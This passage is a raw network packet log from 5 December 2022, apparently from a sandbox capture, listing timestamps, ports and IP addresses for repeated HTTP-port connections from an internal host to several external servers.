Dec 5, 2022 15:17:43.024734974 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024734020 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.024807930 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024866104 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.024868965 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.025022030 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.025022030 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.822448969 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.837620974 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.890074015 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.890435934 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.890521049 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.942858934 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945007086 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945063114 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945091963 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945117950 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945147038 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945173979 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945200920 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945226908 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945281029 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.945328951 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945343018 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.945343018 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.945358038 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.945568085 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.997735023 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.997773886 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.997802019 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.997828960 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.997854948 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.997881889 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.997909069 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.997937918 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.997965097 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.997987032 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.997992039 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998020887 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998022079 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.998047113 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998074055 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998101950 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998127937 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998150110 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.998155117 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998183012 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998188972 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.998209000 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998235941 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998262882 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998284101 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.998292923 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:44.998383999 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.998497963 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.998624086 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:44.998749018 CET	49892	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:45.051043987 CET	80	49892	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:50.499320030 CET	49894	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:50.660300016 CET	80	49894	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:50.660536051 CET	49894	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:50.660666943 CET	49894	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:50.821590900 CET	80	49894	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:50.832380056 CET	80	49894	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:50.832556009 CET	80	49894	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:50.832731009 CET	49894	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:51.664212942 CET	49894	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:52.679791927 CET	49896	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:52.841070890 CET	80	49896	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:52.841413975 CET	49896	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:52.841530085 CET	49896	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:53.002878904 CET	80	49896	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:53.014596939 CET	80	49896	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:53.014658928 CET	80	49896	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:53.014863014 CET	49896	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:53.851063013 CET	49896	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:54.866770983 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.029040098 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.029419899 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.030141115 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.030236006 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.192573071 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.192765951 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.192815065 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.192903996 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.192960978 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.192996025 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.193067074 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.193118095 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.193131924 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.193193913 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.193255901 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.193311930 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.193316936 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.193392038 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.193473101 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.193645954 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.356089115 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.356184006 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.356257915 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.356333971 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.356389046 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.356426954 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.356478930 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.356574059 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.356590033 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.356694937 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.356744051 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.356753111 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.356838942 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.356911898 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:55.356933117 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.357031107 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.357089996 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.357146025 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.519372940 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.519470930 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.519524097 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.519589901 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.519820929 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.519896984 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.522764921 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.522845030 CET	80	49897	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:55.523147106 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:56.038125038 CET	49897	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:57.053688049 CET	49898	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:57.214953899 CET	80	49898	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:57.215270996 CET	49898	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:57.215333939 CET	49898	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:57.376640081 CET	80	49898	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:57.384748936 CET	80	49898	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:57.386368990 CET	80	49898	192.232.217.125	192.168.11.20
Dec 5, 2022 15:17:57.386742115 CET	49898	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:57.386742115 CET	49898	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:17:57.547497988 CET	80	49898	192.232.217.125	192.168.11.20
Dec 5, 2022 15:18:12.347640038 CET	49899	80	192.168.11.20	198.58.118.167
Dec 5, 2022 15:18:12.481970072 CET	80	49899	198.58.118.167	192.168.11.20
Dec 5, 2022 15:18:12.482435942 CET	49899	80	192.168.11.20	198.58.118.167
Dec 5, 2022 15:18:12.482553005 CET	49899	80	192.168.11.20	198.58.118.167
Dec 5, 2022 15:18:12.617708921 CET	80	49899	198.58.118.167	192.168.11.20
Dec 5, 2022 15:18:12.617777109 CET	80	49899	198.58.118.167	192.168.11.20
Dec 5, 2022 15:18:12.618146896 CET	49899	80	192.168.11.20	198.58.118.167
Dec 5, 2022 15:18:12.618237019 CET	49899	80	192.168.11.20	198.58.118.167
Dec 5, 2022 15:18:12.752301931 CET	80	49899	198.58.118.167	192.168.11.20
Dec 5, 2022 15:18:17.628014088 CET	49900	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:17.686434984 CET	80	49900	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:17.686590910 CET	49900	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:17.686798096 CET	49900	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:17.745160103 CET	80	49900	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:17.779515028 CET	80	49900	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:17.779584885 CET	80	49900	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:17.779937029 CET	49900	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:18.689496994 CET	49900	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:19.705084085 CET	49901	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:19.764266968 CET	80	49901	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:19.764620066 CET	49901	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:19.764832973 CET	49901	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:19.823492050 CET	80	49901	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:20.609693050 CET	80	49901	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:20.609776020 CET	80	49901	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:20.610057116 CET	49901	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:20.766976118 CET	49901	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.783675909 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.838004112 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.838234901 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.838819027 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.838905096 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.893043995 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.893280029 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.893543959 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.893788099 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.893879890 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.894038916 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.894129038 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.894298077 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.894413948 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.894639015 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.894685984 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.894751072 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.894922018 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.895085096 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.895134926 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.895226002 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.895435095 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.895613909 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.947578907 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.947662115 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.947705030 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.947818041 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.947997093 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.948215008 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.948441029 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.948534966 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.948596001 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.948700905 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:21.948877096 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.949338913 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.949817896 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:21.949872971 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:22.002010107 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:22.002072096 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:22.002583027 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:22.002646923 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:22.002754927 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:22.064001083 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:22.064080954 CET	80	49903	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:22.064306021 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:22.844649076 CET	49903	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:23.860560894 CET	49904	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:23.919157028 CET	80	49904	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:23.919471979 CET	49904	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:23.919549942 CET	49904	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:23.978204012 CET	80	49904	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:24.014523983 CET	80	49904	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:24.014605045 CET	80	49904	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:24.014997005 CET	49904	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:24.014997959 CET	49904	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:18:24.073695898 CET	80	49904	45.130.41.24	192.168.11.20
Dec 5, 2022 15:18:29.031056881 CET	49905	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:29.316747904 CET	80	49905	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:29.317125082 CET	49905	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:29.317260981 CET	49905	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:29.601957083 CET	80	49905	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:29.653853893 CET	80	49905	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:29.653898001 CET	80	49905	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:29.654310942 CET	49905	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:29.896816015 CET	80	49905	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:29.896938086 CET	49905	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:29.993065119 CET	80	49905	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:30.327625990 CET	49905	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:31.355473042 CET	49906	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:31.637928963 CET	80	49906	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:31.638343096 CET	49906	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:31.638446093 CET	49906	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:31.920799971 CET	80	49906	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:31.972896099 CET	80	49906	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:31.972959995 CET	80	49906	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:31.973249912 CET	49906	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:32.200808048 CET	80	49906	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:32.201096058 CET	49906	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:32.296747923 CET	80	49906	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:32.639336109 CET	49906	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:33.655118942 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:33.936516047 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:33.936770916 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:33.937452078 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:34.218391895 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.218451023 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.218492985 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.218924999 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:34.219079971 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:34.219260931 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.219315052 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.219358921 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.219398022 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.219435930 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.219474077 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.219513893 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.219621897 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:34.219805002 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:34.219916105 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:34.500536919 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.500610113 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.500659943 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.500705004 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.500750065 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.500794888 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.500839949 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.500874043 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:34.500890017 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501000881 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:34.501173019 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501244068 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501291990 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501339912 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501384974 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501430035 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501475096 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501521111 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501566887 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501611948 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501657009 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.501703024 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.782413960 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.782490015 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.782540083 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.783183098 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.783256054 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.783305883 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.783350945 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.783396006 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.783440113 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.783484936 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.783531904 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.863331079 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.863395929 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:34.863612890 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:34.951478004 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:35.112493992 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:35.112895966 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:35.144383907 CET	80	49907	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:35.144768953 CET	49907	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:35.967032909 CET	49908	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:36.248979092 CET	80	49908	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:36.249269962 CET	49908	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:36.249335051 CET	49908	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:36.530189991 CET	80	49908	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:36.535110950 CET	80	49908	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:36.535191059 CET	80	49908	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:36.535691023 CET	49908	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:36.535691977 CET	49908	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:36.775965929 CET	80	49908	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:36.776241064 CET	49908	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:18:36.817034960 CET	80	49908	154.204.24.45	192.168.11.20
Dec 5, 2022 15:18:41.544168949 CET	49909	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:41.658185005 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.658561945 CET	49909	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:41.658643007 CET	49909	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:41.772448063 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.956681013 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.956757069 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.956813097 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.956868887 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.956923962 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.956979036 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.957031965 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.957061052 CET	49909	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:41.957084894 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.957140923 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.957190037 CET	49909	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:41.957199097 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:41.957357883 CET	49909	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:41.957357883 CET	49909	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:41.957526922 CET	49909	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:42.071060896 CET	80	49909	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:42.121606112 CET	49909	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:42.668543100 CET	49909	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:43.683984995 CET	49910	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:43.798019886 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:43.798346043 CET	49910	80	192.168.11.20	192.185.32.157
